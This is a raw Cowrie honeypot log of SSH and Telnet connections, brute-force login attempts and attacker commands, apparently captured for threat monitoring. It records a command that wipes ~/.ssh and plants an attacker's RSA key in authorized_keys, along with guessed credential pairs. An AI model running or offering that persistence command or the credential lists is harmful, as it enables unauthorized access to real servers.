{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:53.903422Z","src_ip":"103.23.198.128","session":"df9b2cdd0290","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:53.906015Z","src_ip":"103.23.198.128","session":"df9b2cdd0290","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:54.148549Z","src_ip":"103.23.198.128","session":"df9b2cdd0290","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:54.668776Z","src_ip":"103.23.198.128","session":"df9b2cdd0290","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:54.671587Z","src_ip":"103.23.198.128","session":"df9b2cdd0290","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:54.914972Z","src_ip":"103.23.198.128","session":"df9b2cdd0290","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:54.918608Z","src_ip":"103.23.198.128","session":"df9b2cdd0290","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.23.198.128","src_port":52588,"dst_ip":"10.17.0.5","dst_port":22,"session":"c18c3bc78be7","protocol":"ssh","message":"New connection: 103.23.198.128:52588 (10.17.0.5:22) [session: c18c3bc78be7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:55.156584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:55.160832Z","src_ip":"103.23.198.128","session":"c18c3bc78be7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:55.402036Z","src_ip":"103.23.198.128","session":"c18c3bc78be7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:56.401006Z","src_ip":"103.23.198.128","session":"c18c3bc78be7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:57.646210Z","src_ip":"103.23.198.128","session":"c18c3bc78be7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.23.198.128","src_port":36334,"dst_ip":"10.17.0.5","dst_port":22,"session":"eddf31cc8cd3","protocol":"ssh","message":"New connection: 103.23.198.128:36334 (10.17.0.5:22) [session: eddf31cc8cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:57.883365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:57.887433Z","src_ip":"103.23.198.128","session":"eddf31cc8cd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:58.131379Z","src_ip":"103.23.198.128","session":"eddf31cc8cd3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:59.145986Z","src_ip":"103.23.198.128","session":"eddf31cc8cd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:59.428707Z","src_ip":"103.23.198.128","session":"df9b2cdd0290","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:59.432100Z","src_ip":"103.23.198.128","session":"eddf31cc8cd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":39190,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b49e66e97a4","protocol":"ssh","message":"New connection: 92.118.39.95:39190 (10.17.0.5:22) [session: 8b49e66e97a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:56:14.089244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:56:14.094378Z","src_ip":"92.118.39.95","session":"8b49e66e97a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:56:14.199130Z","src_ip":"92.118.39.95","session":"8b49e66e97a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:56:14.513578Z","src_ip":"92.118.39.95","session":"8b49e66e97a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:56:15.655360Z","src_ip":"92.118.39.95","session":"8b49e66e97a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":78.1970956325531,"message":"Connection lost after 78 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:56:20.424971Z","src_ip":"49.88.156.34","session":"6605a860bca2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":33108,"dst_ip":"10.17.0.5","dst_port":22,"session":"eebaa4e37554","protocol":"ssh","message":"New connection: 80.94.92.186:33108 (10.17.0.5:22) [session: eebaa4e37554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:56:53.286690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:56:53.346424Z","src_ip":"80.94.92.186","session":"eebaa4e37554","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:56:53.449659Z","src_ip":"80.94.92.186","session":"eebaa4e37554","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grafana","password":"grafana","message":"login attempt [grafana/grafana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:56:54.169263Z","src_ip":"80.94.92.186","session":"eebaa4e37554","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:56:55.356135Z","src_ip":"80.94.92.186","session":"eebaa4e37554","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"124.8","message":"Connection lost after 124.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:56:59.560994Z","src_ip":"14.103.127.83","session":"e19c97c026d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.129.230.191","src_port":20537,"dst_ip":"10.17.0.5","dst_port":22,"session":"324c9ad270d9","protocol":"ssh","message":"New connection: 82.129.230.191:20537 (10.17.0.5:22) [session: 324c9ad270d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:57:37.000741Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:57:37.005255Z","src_ip":"82.129.230.191","session":"324c9ad270d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":40158,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b5a723ef201","protocol":"ssh","message":"New connection: 193.32.162.151:40158 (159.203.135.109:22) [session: 4b5a723ef201]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:58:04.857600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:58:04.861560Z","src_ip":"193.32.162.151","session":"4b5a723ef201","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:58:04.974090Z","src_ip":"193.32.162.151","session":"4b5a723ef201","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"epsuser","password":"epsuser","message":"login attempt [epsuser/epsuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:58:05.327783Z","src_ip":"193.32.162.151","session":"4b5a723ef201","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:58:06.429441Z","src_ip":"193.32.162.151","session":"4b5a723ef201","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":51390,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1ac7184f413","protocol":"ssh","message":"New connection: 92.118.39.95:51390 (10.17.0.5:22) [session: f1ac7184f413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:58:30.042201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:58:30.048504Z","src_ip":"92.118.39.95","session":"f1ac7184f413","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:58:30.215119Z","src_ip":"92.118.39.95","session":"f1ac7184f413","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1q2w3e4r","message":"login attempt [ubuntu/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:58:30.535417Z","src_ip":"92.118.39.95","session":"f1ac7184f413","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:58:31.642701Z","src_ip":"92.118.39.95","session":"f1ac7184f413","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.253.200.68","src_port":58680,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed89147688a1","protocol":"telnet","message":"New connection: 124.253.200.68:58680 (159.203.135.109:23) [session: ed89147688a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:58:33.838751Z"}
{"eventid":"cowrie.session.closed","duration":30.71536898612976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:59:04.554023Z","src_ip":"124.253.200.68","session":"ed89147688a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":35830,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c4494b54b7c","protocol":"ssh","message":"New connection: 80.94.92.186:35830 (10.17.0.5:22) [session: 2c4494b54b7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:59:58.398096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:59:58.495779Z","src_ip":"80.94.92.186","session":"2c4494b54b7c","protocol":"ssh"}
